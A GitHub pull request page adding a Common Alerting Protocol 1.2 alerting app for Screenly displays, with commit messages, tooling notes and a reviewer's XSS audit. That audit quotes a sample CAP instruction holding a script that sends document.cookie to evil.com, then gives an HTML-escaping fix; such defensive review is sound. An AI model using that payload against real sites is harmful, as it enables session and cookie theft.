-
Notifications
You must be signed in to change notification settings - Fork 12
Adds Common Alerting Protocol (CAP) 1.2 Edge App #559
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
PR Reviewer Guide 🔍Here are some key observations to aid the review process:
|
PR Code Suggestions ✨Explore these optional code suggestions:
|
|
As discussed, I'll continue on this PR from this point forward (i.e., refine implementation, write tests, increase coverage). |
The change was made by Bun when `bun install` was executed.
- Include `cap-alerting/` in `.gitignore` - Have the unit tests be run via `bun run test:unit` instead
- Extract common build flags into shared scripts to reduce duplication - Add build:css:common and build:js:common scripts - Add watch mode for CSS and JS builds - Add npm-run-all2 dependency for parallel task execution
- Update isAnywhereScreen to check for empty string or undefined - Use isAnywhereScreen in cap-alerting demo mode logic
- Extract CAP type definitions into separate types/cap.ts file - Use getTags() helper instead of direct metadata access
… setting - Replace separate demo_mode and test_mode boolean settings with single mode enumeration - Mode supports three values: production, demo, test - Add CAPMode type for type-safe mode handling - Update screenly.yml and screenly_qc.yml with mode setting as select type - Update src/main.ts and index.ts to use CAPMode type
- Delete legacy index.ts entry point - Delete orphaned CAPFetcher implementation (fetcher.ts) - Delete comprehensive CAPFetcher test suite (fetcher.test.ts) - Update index.test.ts to use modern @screenly/edge-apps imports - Update package.json lint script to reflect active files only
- Create src/fetcher.ts with CAPFetcher class - Extract test, demo, and live data fetching logic - Create comprehensive test suite in src/fetcher.test.ts - Update main.ts to use CAPFetcher instead of inline logic - Remove DEMO_BASE_URL, fetchCapData, and related inline fetch code - Update package.json lint script to include fetcher files
…odule - Create src/parser.ts with parseCap function - Rename index.test.ts to src/parser.test.ts with CAP parsing tests - Update src/main.ts to import parseCap from parser module - Update package.json lint script to reference new parser files
|
@copilot review ts files for XSS |
renatgalimov
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Security Review: XSS Vulnerability Found
Critical Issue: Unsanitized HTML in highlightKeywords function
Location: src/render.ts - highlightKeywords() function
The Problem:
The highlightKeywords function takes raw text from CAP feed data (the instruction field) and wraps keywords in <strong> tags. This output is then assigned to innerHTML in main.ts:
content.innerHTML = highlightKeywords(sentence)
p.innerHTML = highlightKeywords(instr)The input text is not sanitized/escaped before HTML manipulation, allowing arbitrary script injection.
Attack Vector:
A malicious CAP feed could contain:
<instruction>EVACUATE <script>document.location='https://evil.com/steal?c='+document.cookie</script> NOW</instruction>This would execute arbitrary JavaScript on every screen displaying the alert.
Recommended Fix
Add HTML escaping before keyword replacement:
function escapeHtml(text: string): string {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
export function highlightKeywords(text: string): string {
let result = escapeHtml(text) // SANITIZE FIRST
keywords.forEach((keyword) => {
const regex = new RegExp(`\\b(${keyword})\\b`, 'gi')
result = result.replace(
regex,
'<strong class="text-red-800 font-black">$1</strong>',
)
})
return result
}Minor Suggestion: Image URL Validation
Consider validating URL protocols before setting img.src:
if (res.url && /^https?:\/\//i.test(res.url)) {
img.src = proxyUrl(res.url)
}Summary
| Severity | Issue | Status |
|---|---|---|
| Critical | XSS via innerHTML with unsanitized CAP data |
Needs fix |
| Low | Potential URL injection in img.src | Recommend validation |
Note: The rest of the code correctly uses textContent for rendering external data (headline, description, event title, etc.), which is the safe approach.
- Add HTML escaping to highlightKeywords function via shared escapeHtml utility - Validate URL protocols before setting img.src - Create edge-apps-library/utils/html with escapeHtml function and tests - Prevent script injection from malicious CAP feed data
|
@copilot review files for XSS |
- Extract renderDescription helper function for NWS parsing - Extract renderResources helper function for image validation - Reduce renderAlertCard line count to pass linting rules
|
@renatgalimov, I requested a similar review from Copilot from my VS Code instance: ✅ Security Review: ApprovedI've reviewed the TypeScript files in FindingsNo XSS vulnerabilities detected. The implementation correctly:
Key Protections
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
Copilot reviewed 31 out of 33 changed files in this pull request and generated 1 comment.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
…XML fields - introduce CAPNameValue interface for structured name-value pairs - update geocode, parameter, and eventCode to use CAPNameValue type - add raw XML field declarations (resource, area, info) for parser compatibility
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
Copilot reviewed 31 out of 33 changed files in this pull request and generated 1 comment.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
- switch import from 'vitest' to 'bun:test' - replace 'it' with 'test' for consistency with other tests in edge-apps-library
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
Copilot reviewed 31 out of 33 changed files in this pull request and generated 3 comments.
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
- create template.ts and template.test.ts in edge-apps-library - export getTemplate from edge-apps-library for reuse across apps - update cap-alerting to import getTemplate from @screenly/edge-apps - remove duplicate function and tests from cap-alerting
- escape special regex characters in keyword strings before RegExp construction - ensures keywords are treated as literal text, not regex patterns - makes function robust against future keywords with metacharacters
User description
Still requires testing, but the foundation is in here.
PR Type
Tests, Enhancement
Description
Add comprehensive CAP v1.2 parser tests
Implement robust CAP feed fetcher
Add fetcher unit tests with caching
Configure project and tooling
Diagram Walkthrough
File Walkthrough
3 files
Comprehensive CAP v1.2 parser test suiteUnit tests for CAPFetcher caching and retriesTest CAP sample file5 files
Implement CAP feed fetcher with cache and backoffApp HTML shell and script includesEdge app bootstrap and integrationCAP XML parsing and app logicCompiled frontend logic bundle7 files
Add TypeScript ESLint configurationTailwind configuration with extended breakpointsTypeScript compiler configuration for appPrettier formatting configurationProject package metadata and scriptsScreenly app manifestScreenly QC configuration7 files
Add demo CAP alert: active shooter scenarioAdd demo CAP alert: hazmat spillAdd demo CAP alert: flood warningAdd demo CAP alert: earthquake advisoryAdd demo CAP alert: tornado warningAdd demo CAP alert: fire emergencyDocumentation for CAP Alerting app2 files
Compiled stylesheet for app UITailwind input styles